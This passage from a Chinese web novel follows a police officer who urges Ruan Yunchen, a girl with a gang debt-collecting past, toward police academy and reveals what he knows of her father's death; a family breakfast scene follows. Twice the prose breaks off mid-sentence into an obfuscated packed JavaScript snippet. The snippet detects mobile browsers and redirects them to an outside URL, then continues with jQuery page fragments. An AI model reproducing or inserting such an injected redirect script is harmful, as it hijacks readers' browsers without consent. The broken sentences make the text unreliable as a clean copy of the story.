她想过,如果她是一个警察,是不是就可以找到像阮秋那样的孩子,让他们不再孤零零地流落在桥洞下面; 是不是就能替自己的母亲伸张一点迟来的正义; 是不是就能保护淼淼,不让她有半点受苦的机会; 是不是就能早点...... 早点将和安堂连根铲除。 可是每当这个念头刚冒出来,阮云琛都会迅速掐灭它。 不需要多费力气,只要稍稍想一想自己的过去,就能把这种妄想摁回到黑暗里。 阮云琛清楚自己是什么人,也清楚自己永远无法跨越那条线。 她杀了父亲,帮和安堂收债,在地下拳场站过台。这些东西,就像烙铁印在她的身上,随时准备暴露她是谁。 “警察”这个词,对她来说,是光。 也是一面无法逾越的墙。 可廖致远偏偏把这堵墙推到了她的面前。 他甚至毫不费力地替她指了一条路——通往她从未敢想过的远方。 阮云琛忽然觉得,廖致远是在挑衅她,在剖开她心底的每一处伤口,逼她去看那些她早已不敢直视的东西。 她的目光落在他身上,试图看透他的意图。 老警察坐在那里,肩膀略微耸起,背靠在椅背上,一只手搭在膝盖上,微微蜷着指尖,另一只手习惯性地揣在外套口袋里。那姿态太随意了,甚至带着一点敷衍的疏离。 他是故意的。 阮云琛知道他一定是故意的。 他不可能不明白这几个字眼对她意味着什么。 廖致远是个警察,一个擅长观察、擅长审视人心的警察。 他明明知道,她从来都小心翼翼地绕开关于未来的所有假设,却偏偏在这个时候、用这么轻描淡写的方式,把“警校”丢在她面前,像是一颗随手投掷的石子,却在她的湖面上砸出了千层波澜。 他一定知道她的过去——他就是知道阮云琛的过去。 那些不光彩的、她自己都不愿多提的东西,早已成了她生命的一部分。她能在每一次和他的对视里感受到他知道,却又选择不说的隐秘默契。 可他也不是故意的。 阮云琛再看了他一眼,心里生出某种荒谬的矛盾感。 廖致远的神情太过平静,甚至有些生硬,像是刚刚说完那句话就把所有的注意力从她身上撤了回来。 他的手指还在膝盖上轻轻叩着,像是在琢磨什么别的事情。他的眼神没有质问的锋芒,语气也不带一丝要追究什么的意味。 他只是随口提了这么一个选择,仿佛真的只是出于一种……关心。 他不是在挑衅她。也不是在逼迫她。 他甚至可能根本没有想那么多。 阮云琛知道,廖致远不擅长表达,他关心什么,总是藏在最不起眼的地方,不说,却也不躲。 他总是用这种表面不近人情的方式,把一份沉甸甸的期待压在别人肩膀上,却又不给出任何明确的答案。 她也知道,他没有必要和她多说什么。 他是个警察,不是她的父亲,更不是她的导师。 他和她的联系,是一层薄薄的监护人身份,甚至连这层身份也只是形式上的。她满十八岁之后,他完全可以摆脱这一切,甚至一句多余的话都不会留下。 可他还在说。 他说的每一个字,都像是一种笨拙的提醒,让她无从回避,让她必须去面对。 “警校,或许是个不错的选择。”他说。 “宋祈还在外面。”廖致远的声音不高,语气却像一道石缝里渗出的冷水,冰凉而刺骨。 阮云琛的手猛地一顿,笔尖压得更深,纸张发出一声微弱的撕裂声。她抬起头,眼神里带着一瞬的锐利,紧接着又被更深的沉默覆盖。 “他身边有的是人替他擦屁股,没那么容易落网。”廖致远低头,目光落在桌上的试卷,“你知道的,那些人做得比他更绝。” “然后呢?”她的声音低下来,冷静得几乎听不出任何情绪,“你是要告诉我,我可以去当警察,亲手抓他?” “你不想吗?”廖致远不答,只是反问。他的语气很轻,但却带着不容忽视的分量。 这句话像石子投入了平静的湖面,激起的涟漪在阮云琛的脑海里扩散开来。阮云琛的笔尖已经戳穿了纸张,油墨在纸页上印出一小片污渍。 阮云琛愣住了。 不想吗......? 她想啊。 怎么能不想。 她想让宋祈付出代价,想让那些曾经吞噬她和阮淼淼的黑暗永远消失。 她甚至想过,如果当年的她能站在那些被高利贷逼到走投无路的人面前,不是去收债,而是去帮他们,也许她的梦里会少一些无法甩开的影子。 可...... 可她是站在他们对面的人啊。 阮云琛觉得讽刺。 她曾经拿着账本一笔一笔地逼人还钱,明知道那些人也不过是被生活压垮了,却还是一遍又一遍地重复宋祈教给她的话:“欠债还钱,天经地义。” 每次说出口,她都觉得自己的嘴巴像沾了铁锈一样难受,可她别无选择。 她从来都站在错的一边,甚至站得那么深,以至于再回头看那道线,已经模糊不清了。 可是...... 那些人呢?那些被她用拳头和恐吓压弯了脊背的人呢? “欠债还钱,天经地义。” 这句话当时听着多理直气壮,现在回响在耳边就有多荒唐。她甚至还会添上一句:“谁让你借钱的时候不长点心?”像是在为自己找到一个站得住脚的理由——可她知道,这种理由,撑不起人心。 她站在宋祈的对面,捏着账本,把一张张红钞票塞进口袋,然后用这些钱养活了自己、淼淼,还有那个总是躲在阴影里的男孩——阮秋。 她靠这些钱活下来了,可那些被她恐吓、威逼的人呢?他们用什么活下来? 有时候她也会想,那些在债务面前发抖的人,跟她其实没什么区别。 他们不过是另一种形式的“无路可走”,而她只不过比他们更狠一点、更冷一点。所以她成了砝码的一端,而他们被压在了另一端。 如果她真的能成警察,那些被她压垮的人会怎么看她?那些曾被她威胁过的人,会不会一边冷笑一边骂一句:这世道果然没救了。 他们骂得对。 这世道真的没救了。 如果救得了,她早该有别的选择—— 可她没有。 阮云琛记得自己最初拿到和安堂账本的那一天,翻开那些名字的时候,心里那种难以言说的恶心感。 那感觉像是灌了凉水,又像是被什么钉子嵌进了骨头里。 那些名字,每一个都对应着一段不堪的故事:赌徒、病人、失业者,甚至有一个和她年纪差不多的女生。阮云琛盯着那串名字,手指在纸面上抠出了一道白痕。 她不止一次走进过警局。 那些日子,她在学校和和安堂之间穿梭,在收债和养活淼淼的压力下,带着侥幸和不切实际的希望踏进过警局的大门。 门口的蓝格子标牌在阳光下闪着刺眼的光,玻璃门后有人在说话。 她记得自己站在那里,手心被汗浸透了,脚像钉在地上一样动不了。 办公桌前的警察亲切地问她,问她发生了什么,是否需要什么帮助,可阮云琛的嘴巴开了又闭,半天没再说出一个字。 她不敢。 懦弱战胜了勇气,她害怕警察不管,害怕他们即使管了也没法把她从刀山火海中解救出来,害怕宋祈在得知这些之后,会变本加厉。 后来阮云琛就把账本带回了和安堂。 宋祈坐在沙发上等她,嘴里叼着烟,桌上的烟灰缸里已经满了。他听到门开时连头都没抬,声音轻得几乎要融进空气:“去警局了?” 阮云琛的动作顿住。 他终于抬头,目光轻飘飘地落在她手里的欠条上,嘴角挂着点漫不经心的笑:“看吧,最后你还不是会回到我身边。” 阮云琛想反驳,却发现自己说不出话来。 不是因为害怕宋祈,而是因为那一瞬间,她忽然发现,自己弱得可怕。 她就像是站在两道锁着的大门之间,无论怎么敲,回 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可同时,她又知道,离谱并不是让她停下的理由。 因为她从没忘记,那些被她收债的人,在她转身走掉后,背后压抑到窒息的啜泣声。那些声音从没有一天真正从她耳边消失过。 “可我这样的人……”她喃喃着,声音低得像是藏在夜里的风,“凭什么成为警察?” 话出口时,她连自己都愣了一下,像是终于直面了某些一直在回避的念头。她抬起头,看向廖致远的眼睛,那里平静得像一面湖,却没有丝毫嘲讽或否定,反而映着她所有的迷茫与挣扎。 廖致远并没有立刻回答。他的目光稍微移开了一点,像是在思索,隔了好几秒,他才缓缓开口:“那为什么不能?” 语气里没有质问,也没有鼓励,只有一份让人无法轻视的平稳,仿佛他只是在陈述一个事实。 阮云琛怔住了。 “吃饱穿暖的人,永远不知道饥寒交迫是什么滋味。”廖致远的声音低而清晰,像是落在深夜里的雨点,缓缓渗透进她的意识里。“那些坐在高处的人,喊得再响亮,也永远听不见底层的声音——但你不是他们。” 他顿了顿,目光重新落回她的脸上,那目光像一束光穿透了所有灰暗的阴影。 “你爬过深坑,摔过血肉模糊,你知道地上的人需要什么。这比任何东西都更重要。” 空气静了一瞬,阮云琛没说话。她的手指轻轻蜷了蜷,指尖触碰到桌角的冰凉,那凉意顺着指尖一路攀爬,似乎冻结了她所有的逃避与抗拒。 她想反驳,想说“我没有资格”“我做不了”,但喉咙里却发不出声音。廖致远的这句话,像一颗种子,正悄悄在她心底扎根,刺破她小心翼翼筑起的壳,迫使她去直面那些从未敢碰触的希望。 廖致远微微倾身,声音压得更低了一些:“政审不用担心。” 阮云琛抬起头,看向他,目光里满是复杂的情绪——震惊、不解,还有隐约的不安。她半晌没有说话。 廖致远靠回椅背,双手交叠放在膝盖上,语气平静却透着某种笃定:“我上报了你的情况。没有造假,也没有隐瞒,所有的事情都按照程序走了一遍。” 他顿了一下,目光从窗外移回她的脸上,缓缓说道:“你以为,像你这样的背景,能顺利到今天,是因为我给你开了后门?” 阮云琛没有回答,但那一瞬间,她的手指不自觉地收紧了一些。 “不是。”廖致远的声音稍稍低了一些,像是压下了一阵缓慢而有力的风,“是因为你没有问题。” 他的视线落在她身上,语气不急不缓:“十四岁以下完全不承担刑事责任;十四岁到十六岁,仅对特别严重的犯罪承担责任,而被胁迫的情况下,更倾向于将未成年人视为受害者。更重要的是,你协助警方侦破了案件,这证明你不仅没有问题,反而是一个勇敢、值得信赖的人。” 阮云琛的身体微微一震,目光却还是低垂着,没有看他。 廖致远继续道:“你的档案上,没有任何刑事记录,也没有任何能够影响你政审的瑕疵。你是‘清白’的,这是法律认定的,而不是某种漏洞给了你机会。” 他顿了一下,声音更加平稳了一些:“你以为,你能好端端地坐在这里,是因为有人偏袒你,或者社会的某些环节出了问题?不,是因为你本来就清白。” 这句话像一颗钉子,狠狠扎进了阮云琛的心里。她的指尖缓缓收紧,指甲嵌入掌心的钝痛与胸口的闷意渐渐混在一起。 廖致远的语气轻了些:“你协助破案的记录,不会成为阻碍,反而是一个让人看到你人品的标尺。这一切,是你自己争取来的,不是别人的施舍。” 他停了一下,声音低了些,像是在叙述某种不容辩驳的事实:“这社会有它的复杂,人有他们的偏见,但这些都不该成为你放弃的理由。因为不管过去发生了什么,法律认定你是清白的,而你也从未背叛过这份清白。” 阮云琛的心里涌起一种莫名的荒谬感。 廖致远说得轻描淡写,但每个字都像一记耳光,扇在那个以程序正义自诩的系统脸上。 阮云琛低下头,嘴唇动了动,却发不出声音。她曾经无数次被推回那个泥潭,无数次被逼着相信自己就是泥潭里的一部分——而现在,她的“清白”,居然是那个泥潭从未承认她的结果。 “你确实也没做过什么不是吗?”廖致远忽地说道。 阮云琛一愣,抬起了头。那双眼睛里没有偏见,也没有冷漠,只有一种复杂的深沉,像是对这个世界的失望,也像是某种难以言说的坚持。 “我知道你做过什么。”廖致远开口时,声音低沉,却透着一股不容抗拒的力量。 阮云琛的瞳孔轻轻缩了一下,握紧的拳头在身侧绷得发紧。 “旁观者,被牵连者,受害人。”廖致远的眼神扫过她的脸,像是在审视,又像是在替她陈述,“可你不是罪犯。” “可我......”阮云琛的声音微微一颤,仿佛卡在喉咙里。 廖致远的目光变得更加锋利,他一字一顿地说:“你亲手收过债,可这五次中,两次失败,三次主动协助警方侦破案件,未造成严重后果,反而立下功劳。你有错吗?” 阮云琛的呼吸停滞了一瞬,嘴唇微微张开,却没有发出声音。 “或者说......你有能力改变过什么吗?”廖致远的声音压得更低,“第一个被收债的母子,三十八块钱,连早餐都买不起。第四次,家庭作坊,没人敢开口。万秀家的录像机被拿走了,可你扣下的那盒磁带,后来作为关键证据让警方打掉了整条线。” “可我打过......”她的声音细如蚊蝇。 “工厂区的拳场是正当经营,资金流水清白无瑕。那个地方被查封是因为毒品交易,与它的擂台和拳赛无关。”廖致远盯着她,声音更为冷静,“而你只是在擂台上做过短暂的‘表演’,挣的每一分钱,都是血汗钱。你有问题吗?” 她愣住了,喉咙像是被什么东西卡住,一句话都说不出来。 “张庆发......”廖致远顿了顿,缓缓将目光移向她,“那个男人,就算没有他,阮启明的死,也不过是突发脑溢血而已。” 74. 真相 阮云琛的身体猛地一震,瞳孔轻微颤动:“您怎么......” 廖致远当然察觉到了。 那个雨夜,九岁的阮云琛站在积水中,怀里抱着小小的姑娘,手里却紧握着染血的匕首——那姿势平稳得不像是个孩子。 她的脸半湿半干,血和雨水混在一起沿着鬓角滴落,模糊了她本就纤瘦的眉眼。 可那双眼睛却亮得瘆人。 那不是干净的那种亮,而是一种极致的冷静,仿佛看透了一切,却什么也不打算说。 廖致远当时没说什么,只是站在雨夜里撑着伞,透过水珠模糊的镜片看向她。 他记住了她眼里的光,也记住了她抬头的那一瞬间,嘴角紧绷成一条死线,像极了一个不肯求饶的小战士。 后来,案子进展得出奇顺利。 监控显示张庆发确实在事发前进入了阮启明的楼栋;刀柄上的指纹也清清楚楚,两组指纹:一组是张庆发的,另一组是阮云琛的。 张庆发在审讯中百般抵赖,可债务纠纷的动机和满墙的证据让他的反驳显得毫无说服力。 一切看似铁板钉钉,可廖致远却觉得不对劲。 他无数次在脑海中重现现场:一个惯于暴力的高利贷惯犯,竟然会留下凶器;一个九岁的女孩,却能用如此稳定的姿势握着匕首? 张庆发在审讯中虽然否认一切,但他的话语中带着一丝奇怪的闪躲,仿佛在回避某些事情。 廖致远没放过任何一个细节。 他翻了阮启明的档案:一个不折不扣的混蛋,酗酒成性、家暴妻女,街坊邻里无一不对其嗤之以鼻。 妻子早逝后,他的名字还出现在几起酒后斗殴和借高利贷的记录里。每一次都是惨淡收场,每一次都让他欠下更多的人情债。 邻居的证词很一致:淼淼常常被饿得大哭,而阮云琛总是挡在父亲和妹妹之间,用自己瘦弱的身子为淼淼争取一口气。 这些细节交织在一起,像是拼图的碎片,逐渐组成了一个令人头皮发麻的画面。 阮启明死前似乎挣扎过,但并非出自人为的直接暴力。法医报告显示,他的死因是突发性脑溢血,而后摔倒在茶几边缘,撞击致命。 然而,事情并没有这么简单结束。 他的胸口共有二十八道刀伤,每一道都精准而狠戾,致命伤刺穿了心脏。这些伤口的特征明显与最初的意外不符。法医在伤口中发现的刀伤痕迹,显示它们并不是在脑溢血发作的瞬间造成的,而是在之后补上的。 刀柄上的指纹则揭示了更多信息:一组属于张庆发,另一组属于阮云琛。根据痕迹科的分析,张庆发的指纹分布在靠近刀刃的地方,而阮云琛的指纹却在刀柄的末端——像是仓促间触碰到的。 这是廖致远推测的核心。 “她摸过刀。”廖致远曾在深夜对自己的同事低声说道,“可她不是杀人凶手。” 他仔细拼凑着证据的每一块碎片——阮启明倒地、刀伤补上、张庆发匆匆离开的脚印,甚至还有阮云琛跑离现场的痕迹。这是一场混乱的拼图,而真相埋藏在混乱背后。 在廖致远看来,阮云琛的行为更多是出于恐惧和保护:她拔刀,不是为了反击,而是为了确认威胁是否已经消失。而张庆发的出现,则让原本的事故演变成了一起血腥的谋杀。 这个真相无法在证据上完全被证实,也无法出现在法庭上——但廖致远心里清楚,这个孩子藏着比所有人想象中都要深的秘密。她的冷静,既是自保,也是某种防线。 “也许你小时候不懂,可你现在应该明白,”廖致远盯着她,声音低沉,“无论是法医报告还是证据链,你的行为,都和杀人无关。” 阮云琛僵住,抬起头看向他,目光中闪过几分戒备。 “你父亲嗜酒成性,控制不住脾气和行为。”廖致远像是在陈述一个不可反驳的事实,“那天的意外,和你无关。但有人刻意补上了血腥的尾声——你比谁都清楚那个人是谁。” 阮云琛没有说话,指尖微微收紧。她的沉默是一堵墙,冰冷而坚硬。可廖致远知道,这堵墙后,藏着一个早已疲惫不堪的灵魂。 阮云琛的呼吸急促了一下,喉咙深处像卡着什么,发不出声音。片刻后,她低下头,紧抿的嘴角松了一瞬,又很快绷紧。 廖致远盯着她的动作,心中隐隐叹息。他知道她在努力压抑那种被揭穿后的慌乱,却始终无法面对真相。 “你查的那些东西,我都看到了。”他的声音放缓了几分,但依旧带着一种沉重的压迫,“枕边的、书桌上的,还有你那个随时带着的笔记本。你可以把它藏在淼淼看不到的地方,却不需要藏着掖着骗自己——你翻开那些书,是因为你在试图相信,正义可以为你们姐弟做点什么。” 阮云琛猛地攥紧了拳头,指尖掐进掌心,眼里却泛起了几分倔强的湿意。 “你愿意相信法律。”廖致远低声说,“只是没人教过你它能怎么保护你——法律永远是死东西,没错就是没错。” 廖致远看着她,像是等待她的回应,却又像是在给她足够的时间去思考。 “我从来不奢望谁来保护我。”她的声音哑得厉害,几乎听不见,“我翻那些书,只是为了——” “为了什么?”廖致远的目光像刀,直接将她的话语切断,“为了告诉自己,不能让自己的错误再一次牵连到淼淼和阮秋?还是为了告诉自己,就算身处泥潭,也不能被人拉着越陷越深?” 他顿了一下,语气突然放轻:“你不是想让自己变得无懈可击,而是想知道,该怎么保护你在乎的人。” 空气像是凝固了一样,阮云琛没说话,她的眼睫低垂,掩住了大半的神色。 廖致远整理了一下袖口:“如果你真的相信法律,就该明白,你翻开的那些书,早就替你找到了答案。只不过你得花点时间去接受这个事实。” 廖致远当然知道阮云琛在想什么。 他见过太多这样的孩子了。 绝望的、无助的、走投无路的。 他们的选择不是他们想选,而是他们没得选。 如果四周都是悬崖,那么落在眼前的即使是长满了刺的藤蔓,他们也会为了活,而一步步攀爬上去。 廖致远微微低头,眼神落在阮云琛低垂的睫毛上。她的沉默像是一道厚重的屏障,挡住了她内心翻涌的那些话语。 “那些书上的条文,”他声音不急不缓,像是在讲述某个平凡的故事,“不是只为高高在上的人写的,也不是用来定义你是否合格的标签。它们是给像你这样的人用的——告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118063|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,你还有路可走,还有选择可以做。” 他的语调平静得没有波澜,像冬日里没有风的湖面,但每一个字都精准地击中了阮云琛心底那片最敏感的角落。 “你知道什么是保护吗?”他低声问,像在自言自语,又像在等待回答,“不是把所有错事扛在自己身上,也不是对自己用最苛刻的方式评判。保护是找到正确的方向,带着想守护的人一起走出那片泥潭,而不是把他们推向更深的地方。” 阮云琛的手指无意识地蜷了蜷,像是试图抓住某种难以言喻的东西,却只握住了空气。 廖致远目光轻轻扫过她,继续说道:“你不是想让自己变得无懈可击,而是想知道,该怎么保护你在乎的人。” 他的声音淡然,没有刻意的起伏,却带着一种让人无法反驳的力量。 空气沉寂下来,像是刚下过一场细雨后的夜晚,安静得只能听见心跳的声音。 廖致远垂下眼,看着自己的袖口,似是无意地整理了一下,接着说:“你翻开的那些书,不是为了证明你无辜,而是为了让你相信,你有资格去选择。保护自己,也保护他们。” 他顿了顿,补上一句:“你早就知道这个答案了,不是吗?” 阮云琛的呼吸微不可察地一滞,她的目光依旧低垂,但手指的动作变得更慢了,像是整个人都陷入了某种无声的纠结中。 “你不是第一个,也不会是最后一个。”廖致远轻声说,语气里没有怜悯,只有某种冷静的直白,“有太多孩子和你一样,在那样的环境里挣扎着成长,试图找一条出路。可是,大多数人没有你走得远,也没有你走得正。” 他的目光变得柔和了一些,但语气依然不容置疑:“别让自己走到尽头的时候才发现,其实一切都可以不同。” “别把自己想得那么难堪。”廖致远的声音轻了下来,语气里却带着不容置疑的坚定,“不管那些档案里记没记下,你都不是犯罪者。记住这点——你不是。” 阮云琛的手指微微蜷起,垂下的目光像是一潭无风的水,泛不起波澜,可她胸腔里的风暴却越发汹涌。 廖致远站起身,拉开椅子,语气里带着一种平静的压迫:“别给自己判刑了,阮云琛。现在,去想想你想做什么,该做什么。往前看,而不是往后看。” 阮云琛闭了闭眼,想要甩掉这些纷乱的思绪。 “我……”她张了张口,却发现自己说不出话来。 “如果这个社会这么烂,”廖致远说得很慢,每一个字都像敲进她的意识里,“那就更需要有人去做点对的事,把它修一修。你不是为了社会去当警察,是为了那些社会从来不在意的人。” 廖致远没有催促。他就那么看着她,目光带着一种无法言说的复杂。他知道自己踩在薄冰上,但这次,他决定往前走一步。 “不是所有人都能改变世界。”他说,语气低而平稳,“但有些人,比别人更有机会改变点什么。” 阮云琛的手缓缓握紧了笔,指尖泛白。她低头看着桌上的试卷,喉咙有点干。 她没有回答,空气像是被什么堵住了,沉重得难以呼吸。 “好好想想吧。”廖致远站起身,拍拍她的肩膀,没有再多说什么。 门开了又关,房间重新陷入寂静。 75. 外面的世界 深夜的空气变得愈发清冷,客厅的灯被阮秋顺手关了,只剩下走廊尽头房间里的微弱光线。 廖致远的脚步声很轻,门开了又合,发出一声不高不低的闷响。他后半夜又走了,不知道又是什么工作,需要赶上连夜加班。 门锁转动的声音消失后,整个屋子安静得只剩下风擦过窗棂的细响。 阮云琛躺在床上,眼前是黑暗中模糊的天花板,廖致远的那句话却一遍遍地在脑海里回放。 ——警校。 这两个字像烙铁一样,压在她的思绪里,无法剥离。 “你总得有点方向。” 阮云琛翻了个身,试图用枕头捂住自己的耳朵,却挡不住那句平静又带着不容置疑的声音。 阮云琛从未想过,自己有一天会被推到这个路口,而推她的人竟是廖致远——那个她以为只会袖手旁观、冷眼看着自己的人。 警校两个字,像钉子一样扎进脑海,旋转着,带出一阵钝痛。阮云琛从来不允许自己去想太多,可一旦被提出来,就会像一道刺眼的亮光,把她逼得睁不开眼睛。 阮云琛下意识地摸了一下枕头下的折叠小刀,目光越过桌面,落在窗外的天空。街对面有一颗巨大的树,有五层楼那么高,能把四楼的整个窗子都挡住。那树的枝叶被晨风吹得轻轻晃动,像在回应她脑海里的某种不安。 家里......不管是不是警校,如果她真的去上大学了,家里要怎么办? 这问题几乎是条件反射般蹦出来,紧接着压得她喘不过气来。 阮云琛不能走,家里不能没有她。 淼淼跳脱的性子,她怎么放心?阮秋是懂事,可他才多大?要他独自承担起这个家,是不是太残忍了? 她紧紧攥住枕头下的折叠刀,仿佛那是唯一的支撑点。可握着握着,她又猛地松开了。 一夜无梦,却也没有真正入睡。 天刚蒙蒙亮,厨房就传来了微弱的响动。阮云琛揉着眼睛走出去,看到阮秋正弯着腰从冰箱里拿东西。他一转头,皱眉看了她一眼:“没睡好?” “你管得太多。”她随手扯了一张纸巾擦了擦脸,语气里带着点没睡醒的慵懒。 “你昨天想什么了?”阮秋从冰箱里拿出两个鸡蛋,用碗敲开,一边搅拌一边说,“连觉都睡不好?” “还能想什么?”阮云琛靠在厨房门框上,目光落在他手里的鸡蛋液上,“高考,打工,赚钱养你们。” 她倒也没遮着敷衍,毕竟再怎么敷衍,阮秋也一定都能猜得到。 “姐,”阮秋回头看了她一眼,语气很淡,却带着几分认真,“我再过两年半就也能打工了。” “少说这些。”她抬手打了个哈欠,声音低了些,“还不快点做饭?别让我迟到。” 阮秋没再接话,只是低头把鸡蛋液倒进锅里,发出一阵轻微的滋滋声。他一边翻炒一边瞥了她一眼:“今天中午有空吗?我放学早点回来,咱们一起吃饭。” “看情况吧。”阮云琛的回答一如既往的漫不经心。 “你总得有点时间。”阮秋的声音低了下来,语调里透着些无奈的坚持,“别光顾着熬着自己。” 她沉默了一下,低头拿起一旁的杯子倒水。热水顺着杯口滑下来,升起的白气模糊了她的表情。过了一会儿,她才开口:“行吧,到时候再说。” 阮秋没再追问,只是把炒好的鸡蛋盛到碗里,推到她手边,带着点不容拒绝的意味:“先吃饭。” 厨房的灯光柔和而温暖,打在两人身上,将墙角的阴影拉得很浅。风从窗缝里灌进来,却无法吹散这一刻的平静。 天开始亮了。 灯光在白昼下显得有些多余,阮秋看了两眼,去把灯给关了上。 清晨的空气里带着一点凉意,街道上的声响还未完全苏醒。淼淼这会儿终于从屋里出来了,她揉着眼睛,头发乱得像是一个鸟窝。她睡眼惺忪地站在门口,含糊地问了一句:“姐,早餐吃什么?” 阮秋站起来,摸了把她的头:“你先洗脸刷牙,早餐快好了。” 淼淼哼哼了一声,转身朝着卫生间走去,脚步还带着一点半梦半醒的蹒跚。 阮云琛的视线落在淼淼离开的背影上,神色渐渐放松下来,整个人却像是陷入了一种若有若无的游离状态。 嘴里的鸡蛋嚼得机械,味道早就被舌头忽略。空气里只有轻微的咀嚼声和窗外风穿过树叶的沙沙声,显得格外安静。 “姐,鸡蛋那么好吃吗?”阮秋的声音忽然响起,带着一点压抑不住的笑意。 “好吃。”阮云琛喃喃了句,紧跟着就反应了过来。她愣了几秒,伸手拍了阮秋一巴掌,“笑什么,吃你的去。” 阮秋吃痛,缩了下脖子,老老实实地坐下了。 阮云琛看着手中的筷子,目光却渐渐模糊起来。 桌上的鸡蛋剩下一半,阮云琛却没有再动。她的手指微微蜷起,碰到筷子的一端,轻轻敲了敲碗沿,像是在不经意地宣泄什么不安的情绪。 思绪翻飞,像是掀起了一阵突如其来的潮水,将她拖回了廖致远昨晚那句沉稳却带着力度的话语里。 “大学”。 她咀嚼着这个词,像是在咀嚼一块过于坚硬的石头,舌尖传来微微的钝痛感。念头一旦被点燃,就像燎原的火势,迅速吞没了她的思维。 她曾经一直不敢想这个词汇。 如果她走了呢? 这个假设冒出来的一瞬间,像一根刺扎进皮肤,钝痛,却不致命。她试着推开它,却发现它已经牢牢扎根,甚至隐隐生出了一丝无法言明的诱惑。 如果她去上大学呢? “如果我去上大学呢?”声音轻飘飘地从嘴里溢出来,像是一句梦呓。 阮秋愣了下,手中的勺子顿在半空,汤勺边缘碰到碗壁,发出轻微的一声清响。他抬起头,眼睛直直地盯着她,像是怀疑自己听错了。 “你说什么?”他低声问,语气里透着一丝小心翼翼的试探。 阮云琛的目光还落在面前的碗里,声音比刚才更低了一点:“如果……我去上大学,家里怎么办?” 话一出口,连阮云琛自己都觉得这问题有些莫名。她的手指依旧捏着筷子,却像是没有力气去夹碗里的鸡蛋了。 空气安静了几秒。 可忽地,阮秋的眼睛里像是忽然点燃了什么,笑容明亮又直接,带着少有的轻松:“好啊。” 阮云琛猛地抬起头,看向他的眼神里闪过一丝疑惑。 阮秋已经放下手中的勺子,双手撑着桌沿,身体微微前倾,语气轻快中带着一点笃定:“你去上大学,家里的事交给我。” 这话说得太顺畅了,顺畅得像是他已经早就准备好了答案,甚至根本不需要思考。 空气像是被抽空了一瞬。 阮云琛怔住了,目光落在他的脸上,却没有急着开口反驳。阮秋没有多说,只是直直地看着她,笑容没收敛,却比刚才安静了几分。 几秒后,她低下头,手指转动着筷子,像是刻意避开他的视线。 她张了张嘴,话到嘴边却没有出口,只剩下呼吸微微沉了一些。 厨房传来锅盖轻微震动的声音,伴随着淡淡的油香味。 光线透过窗帘的缝隙洒在桌面上,明亮而柔和,却没有驱散阮云琛心里的阴影。 “淼淼呢?你呢?”她终于开口,声音低得几乎要被窗外传来的风声盖过去。 阮秋没有立刻回答。 厨房里,锅盖轻微地晃了一下,油香和热气飘散开来。光线透过窗帘落在桌面,桌沿的阴影被割成两半,一半亮着温暖的颜色,一半暗着不动声色的冷。 “淼淼有我。”他终于开口,语气里透出一种近乎不容置疑的平静。 “你呢?”阮云琛的声音又低了几分。 阮秋没看她,指尖在桌面轻轻敲了两下,像是下意识的动作,却并没有真正回答这个问题。他的眼神在窗外短暂地停留了一瞬,随后重新落回到阮云琛的手上。 “你总不能一直这样。”他低声说。 这句话比任何回答都更像一种回应,却让阮云琛一时不知道该如何反驳。她想开口,却像是被什么堵住了嗓子,只能张了张嘴,最终什么都没说。 空气又静了下来。 这一次,是阮云琛先移开了目光。 “算了,”她喃喃道,声音轻得像是怕被听到,“别提这个了,粥好了没有?” 阮秋没有再说话,只是轻轻笑了一声,转身往厨房走去。 厨房忽地传来动静,是淼淼清脆的喊声:“哥!锅糊了!” 她的声音里带着一点慌乱,阮秋的声音稳稳接住:“别急,拿开锅盖,我来。” 阮云琛下意识地抬起头,看向半掩的房门。 门缝里透进一线浅金的阳光,像一道微不可见的边界,把屋内外分成两个不同的世界。脚步声轻轻地从门外传来,随着他走动的节奏,恍若一种不疾不徐的呼吸。 她看着桌面,目光落在自己的手上。指尖微微动了一下,又垂下来,像是无意间触到了一片尘封的记忆。 阮云琛一直觉得,这家只有她能撑起来,所有的重担都只能压在她的肩膀上。可最近——她又开始怀疑了。 那些细微的变化,那些她原本忽略的细节,像是悄然生长的藤蔓,缠绕进了她的生活。 阮秋的脚步声在她脑海里被放大,变得清晰而深沉。 他什么时候开始站到她前面了?什么时候不再只是那个紧紧跟在她身后的小男孩了?又或许...... 又或许,他从来就没有站在自己的身后过。 那道声音又一次在厨房的灶台后响起:“好了,没事了。” 平静得像一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122848|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块沉稳的石头,落进水里,也不会起涟漪。 阮云琛的目光重新落回到桌面,却没对焦。她看着桌上的炒蛋,却什么也没看进去。心里某个角落,仿佛被人轻轻撬开了一道缝。 她的手指微微蜷起,试图抓住什么,又像是触碰到了一片刺痛的回忆。那些过往的片段,一点点浮现在脑海里,带着某种无法忽视的重量。 桥下寒冷的夜风中,那默默递来的一兜子消毒水; 夜半昏黄的光线里,那道始终在她身边不远不近的身影; 还有后来......后来他等在巷口,接过了她递去的账本,一路不停歇地跑去了面馆,将账本递给了廖致远。 每一个细节,每一次靠近,阮云琛从未真正意识到它们的意义。 阮秋从来不是被保护的角色。 她试图回忆自己什么时候把他视作“弟弟”,把他安放在某种被动的位置上,可却发现,这种定义根本不成立。 他不是那个需要被保护的人。 阮秋是另一条线,和她并行,却在某些时刻悄然交汇。他没有大声宣告过什么,却一直在用最安静的方式,让她意识到:她并不是一个人。 